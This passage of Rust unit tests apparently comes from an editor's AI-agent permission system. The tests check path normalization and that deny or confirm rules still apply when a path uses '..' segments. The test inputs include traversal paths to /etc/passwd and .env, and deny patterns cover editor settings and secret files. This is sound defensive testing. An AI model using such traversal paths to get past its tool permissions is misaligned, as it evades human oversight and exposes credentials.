1913    fn normalize_path_relative_with_curdir() {
1914        assert_eq!(normalize_path("foo/./bar"), "foo/bar");
1915    }
1916
1917    #[test]
1918    fn normalize_path_relative_with_parent() {
1919        assert_eq!(normalize_path("foo/bar/../baz"), "foo/baz");
1920    }
1921
1922    #[test]
1923    fn normalize_path_absolute_preserved() {
1924        assert_eq!(normalize_path("/etc/passwd"), "/etc/passwd");
1925    }
1926
1927    #[test]
1928    fn normalize_path_absolute_with_traversal() {
1929        assert_eq!(normalize_path("/tmp/../etc/passwd"), "/etc/passwd");
1930    }
1931
1932    #[test]
1933    fn normalize_path_root() {
1934        assert_eq!(normalize_path("/"), "/");
1935    }
1936
1937    #[test]
1938    fn normalize_path_parent_beyond_root_clamped() {
1939        assert_eq!(normalize_path("/../../../etc/passwd"), "/etc/passwd");
1940    }
1941
1942    #[test]
1943    fn normalize_path_curdir_only() {
1944        assert_eq!(normalize_path("."), "");
1945    }
1946
1947    #[test]
1948    fn normalize_path_empty() {
1949        assert_eq!(normalize_path(""), "");
1950    }
1951
1952    #[test]
1953    fn normalize_path_relative_traversal_above_start() {
1954        assert_eq!(normalize_path("../../../etc/passwd"), "../../../etc/passwd");
1955    }
1956
1957    #[test]
1958    fn normalize_path_relative_traversal_with_curdir() {
1959        assert_eq!(normalize_path("../../."), "../..");
1960    }
1961
1962    #[test]
1963    fn normalize_path_relative_partial_traversal_above_start() {
1964        assert_eq!(normalize_path("foo/../../bar"), "../bar");
1965    }
1966
1967    #[test]
1968    fn most_restrictive_deny_vs_allow() {
1969        assert!(matches!(
1970            most_restrictive(
1971                ToolPermissionDecision::Deny("x".into()),
1972                ToolPermissionDecision::Allow
1973            ),
1974            ToolPermissionDecision::Deny(_)
1975        ));
1976    }
1977
1978    #[test]
1979    fn most_restrictive_allow_vs_deny() {
1980        assert!(matches!(
1981            most_restrictive(
1982                ToolPermissionDecision::Allow,
1983                ToolPermissionDecision::Deny("x".into())
1984            ),
1985            ToolPermissionDecision::Deny(_)
1986        ));
1987    }
1988
1989    #[test]
1990    fn most_restrictive_deny_vs_confirm() {
1991        assert!(matches!(
1992            most_restrictive(
1993                ToolPermissionDecision::Deny("x".into()),
1994                ToolPermissionDecision::Confirm
1995            ),
1996            ToolPermissionDecision::Deny(_)
1997        ));
1998    }
1999
2000    #[test]
2001    fn most_restrictive_confirm_vs_deny() {
2002        assert!(matches!(
2003            most_restrictive(
2004                ToolPermissionDecision::Confirm,
2005                ToolPermissionDecision::Deny("x".into())
2006            ),
2007            ToolPermissionDecision::Deny(_)
2008        ));
2009    }
2010
2011    #[test]
2012    fn most_restrictive_deny_vs_deny() {
2013        assert!(matches!(
2014            most_restrictive(
2015                ToolPermissionDecision::Deny("a".into()),
2016                ToolPermissionDecision::Deny("b".into())
2017            ),
2018            ToolPermissionDecision::Deny(_)
2019        ));
2020    }
2021
2022    #[test]
2023    fn most_restrictive_confirm_vs_allow() {
2024        assert_eq!(
2025            most_restrictive(
2026                ToolPermissionDecision::Confirm,
2027                ToolPermissionDecision::Allow
2028            ),
2029            ToolPermissionDecision::Confirm
2030        );
2031    }
2032
2033    #[test]
2034    fn most_restrictive_allow_vs_confirm() {
2035        assert_eq!(
2036            most_restrictive(
2037                ToolPermissionDecision::Allow,
2038                ToolPermissionDecision::Confirm
2039            ),
2040            ToolPermissionDecision::Confirm
2041        );
2042    }
2043
2044    #[test]
2045    fn most_restrictive_allow_vs_allow() {
2046        assert_eq!(
2047            most_restrictive(ToolPermissionDecision::Allow, ToolPermissionDecision::Allow),
2048            ToolPermissionDecision::Allow
2049        );
2050    }
2051
2052    #[test]
2053    fn decide_permission_for_path_no_dots_early_return() {
2054        // When the path has no `.` or `..`, normalize_path returns the same string,
2055        // so decide_permission_for_path returns the raw decision directly.
2056        let settings = test_agent_settings(ToolPermissions {
2057            default: ToolPermissionMode::Confirm,
2058            tools: Default::default(),
2059        });
2060        let decision = decide_permission_for_path(EditFileTool::NAME, "src/main.rs", &settings);
2061        assert_eq!(decision, ToolPermissionDecision::Confirm);
2062    }
2063
2064    #[test]
2065    fn decide_permission_for_path_traversal_triggers_deny() {
2066        let deny_regex = CompiledRegex::new("/etc/passwd", false).unwrap();
2067        let mut tools = collections::HashMap::default();
2068        tools.insert(
2069            Arc::from(EditFileTool::NAME),
2070            ToolRules {
2071                default: Some(ToolPermissionMode::Allow),
2072                always_allow: vec![],
2073                always_deny: vec![deny_regex],
2074                always_confirm: vec![],
2075                invalid_patterns: vec![],
2076            },
2077        );
2078        let settings = test_agent_settings(ToolPermissions {
2079            default: ToolPermissionMode::Confirm,
2080            tools,
2081        });
2082
2083        let decision =
2084            decide_permission_for_path(EditFileTool::NAME, "/tmp/../etc/passwd", &settings);
2085        assert!(
2086            matches!(decision, ToolPermissionDecision::Deny(_)),
2087            "expected Deny for traversal to /etc/passwd, got {:?}",
2088            decision
2089        );
2090    }
2091
2092    #[test]
2093    fn normalize_path_collapses_dot_segments() {
2094        assert_eq!(
2095            normalize_path("src/../.zed/settings.json"),
2096            ".zed/settings.json"
2097        );
2098        assert_eq!(normalize_path("a/b/../c"), "a/c");
2099        assert_eq!(normalize_path("a/./b/c"), "a/b/c");
2100        assert_eq!(normalize_path("a/b/./c/../d"), "a/b/d");
2101        assert_eq!(normalize_path(".zed/settings.json"), ".zed/settings.json");
2102        assert_eq!(normalize_path("a/b/c"), "a/b/c");
2103    }
2104
2105    #[test]
2106    fn normalize_path_handles_multiple_parent_dirs() {
2107        assert_eq!(normalize_path("a/b/c/../../d"), "a/d");
2108        assert_eq!(normalize_path("a/b/c/../../../d"), "d");
2109    }
2110
2111    fn path_perm(
2112        tool: &str,
2113        input: &str,
2114        deny: &[&str],
2115        allow: &[&str],
2116        confirm: &[&str],
2117    ) -> ToolPermissionDecision {
2118        let mut tools = collections::HashMap::default();
2119        tools.insert(
2120            Arc::from(tool),
2121            ToolRules {
2122                default: None,
2123                always_allow: allow
2124                    .iter()
2125                    .map(|p| {
2126                        CompiledRegex::new(p, false)
2127                            .unwrap_or_else(|| panic!("invalid regex: {p:?}"))
2128                    })
2129                    .collect(),
2130                always_deny: deny
2131                    .iter()
2132                    .map(|p| {
2133                        CompiledRegex::new(p, false)
2134                            .unwrap_or_else(|| panic!("invalid regex: {p:?}"))
2135                    })
2136                    .collect(),
2137                always_confirm: confirm
2138                    .iter()
2139                    .map(|p| {
2140                        CompiledRegex::new(p, false)
2141                            .unwrap_or_else(|| panic!("invalid regex: {p:?}"))
2142                    })
2143                    .collect(),
2144                invalid_patterns: vec![],
2145            },
2146        );
2147        let permissions = ToolPermissions {
2148            default: ToolPermissionMode::Confirm,
2149            tools,
2150        };
2151        let raw_decision = ToolPermissionDecision::from_input(
2152            tool,
2153            &[input.to_string()],
2154            &permissions,
2155            ShellKind::Posix,
2156        );
2157
2158        let simplified = normalize_path(input);
2159        if simplified == input {
2160            return raw_decision;
2161        }
2162
2163        let simplified_decision =
2164            ToolPermissionDecision::from_input(tool, &[simplified], &permissions, ShellKind::Posix);
2165
2166        most_restrictive(raw_decision, simplified_decision)
2167    }
2168
2169    #[test]
2170    fn decide_permission_for_path_denies_traversal_to_denied_dir() {
2171        let decision = path_perm(
2172            "copy_path",
2173            "src/../.zed/settings.json",
2174            &["^\\.zed/"],
2175            &[],
2176            &[],
2177        );
2178        assert!(matches!(decision, ToolPermissionDecision::Deny(_)));
2179    }
2180
2181    #[test]
2182    fn decide_permission_for_path_confirms_traversal_to_confirmed_dir() {
2183        let decision = path_perm(
2184            "copy_path",
2185            "src/../.zed/settings.json",
2186            &[],
2187            &[],
2188            &["^\\.zed/"],
2189        );
2190        assert!(matches!(decision, ToolPermissionDecision::Confirm));
2191    }
2192
2193    #[test]
2194    fn decide_permission_for_path_allows_when_no_traversal_issue() {
2195        let decision = path_perm("copy_path", "src/main.rs", &[], &["^src/"], &[]);
2196        assert!(matches!(decision, ToolPermissionDecision::Allow));
2197    }
2198
2199    #[test]
2200    fn decide_permission_for_path_most_restrictive_wins() {
2201        let decision = path_perm(
2202            "copy_path",
2203            "allowed/../.zed/settings.json",
2204            &["^\\.zed/"],
2205            &["^allowed/"],
2206            &[],
2207        );
2208        assert!(matches!(decision, ToolPermissionDecision::Deny(_)));
2209    }
2210
2211    #[test]
2212    fn decide_permission_for_path_dot_segment_only() {
2213        let decision = path_perm(
2214            "delete_path",
2215            "./.zed/settings.json",
2216            &["^\\.zed/"],
2217            &[],
2218            &[],
2219        );
2220        assert!(matches!(decision, ToolPermissionDecision::Deny(_)));
2221    }
2222
2223    #[test]
2224    fn decide_permission_for_path_no_change_when_already_simple() {
2225        // When path has no `.` or `..` segments, behavior matches decide_permission_from_settings
2226        let decision = path_perm("copy_path", ".zed/settings.json", &["^\\.zed/"], &[], &[]);
2227        assert!(matches!(decision, ToolPermissionDecision::Deny(_)));
2228    }
2229
2230    #[test]
2231    fn decide_permission_for_path_raw_deny_still_works() {
2232        // Even without traversal, if the raw path itself matches deny, it's denied
2233        let decision = path_perm("copy_path", "secret/file.txt", &["^secret/"], &[], &[]);
2234        assert!(matches!(decision, ToolPermissionDecision::Deny(_)));
2235    }
2236
2237    #[test]
2238    fn decide_permission_for_path_denies_edit_file_traversal_to_dotenv() {
2239        let decision = path_perm(EditFileTool::NAME, "src/../.env", &["^\\.env"], &[], &[]);
2240        assert!(matches!(decision, ToolPermissionDecision::Deny(_)));
2241    }
2242}